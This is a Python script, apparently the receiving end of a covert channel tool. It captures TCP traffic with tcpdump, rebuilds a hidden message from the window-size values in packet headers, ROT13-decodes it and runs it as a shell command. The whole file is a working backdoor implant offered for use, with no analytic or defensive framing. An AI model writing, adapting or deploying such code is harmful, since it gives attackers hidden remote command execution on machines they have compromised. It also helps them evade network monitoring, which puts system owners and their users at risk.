receiver.py

import re
import subprocess
import argparse
import codecs
from colorama import Fore

Reset = Fore.RESET
Red = Fore.RED
Green = Fore.GREEN
Cyan = Fore.CYAN

argParser = argparse.ArgumentParser()
argParser.add_argument("-i", "--interface", help="Network capturing interface")
argParser.add_argument("-pc", "--packetsCount", help="Number of packets to capture")
argParser.add_argument("-p", "--port", help="Port that will receive the packets")
args = argParser.parse_args()
interface = args.interface
packetsCount = args.packetsCount
port = args.port

def decode(log):
    lines = log.splitlines()
    var = ""
    s = [""]
    for line in lines:
        regex = r"(win)\s([1-9][0-9]{1,3}|10000000)"
        str = line
        matches = re.finditer(regex, str, re.MULTILINE)
        for matchNum, match in enumerate(matches, start=1):
            for groupNum in range(0, len(match.groups())):
                groupNum = groupNum + 1
                all = "{group}".format(group=match.group(groupNum))
                all_int = re.findall(r'\d+', all)
            for ints in all_int:
                s.append(chr(int(ints)))
    if s != None:
        decoded_command = codecs.decode(''.join(s), 'rot13')
        print(f"{Green}[+] Encoded command: {Cyan}{''.join(s)}{Reset}\n{Green}[+] Decoded command: {Cyan}{decoded_command}{Reset}")
        subprocess.run(decoded_command, shell=True)

if interface == None:
    print(Red + "[-] Pleace specify network interface" + Reset)
elif packetsCount == None:
    print(Red + "[-] Pleace specify packets count to capture" + Reset)
elif port == None:
    print(Red + "[-] Pleace specify port to monitor" + Reset)
else:
    try:
        cmd = subprocess.run(["tcpdump", "-i", interface, "tcp", "and", "port", port, "-c", packetsCount], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        if cmd.returncode == 0:
            decode(cmd.stdout)
    except KeyboardInterrupt:
        decode(cmd.stdout)
    else:
        print(cmd.returncode)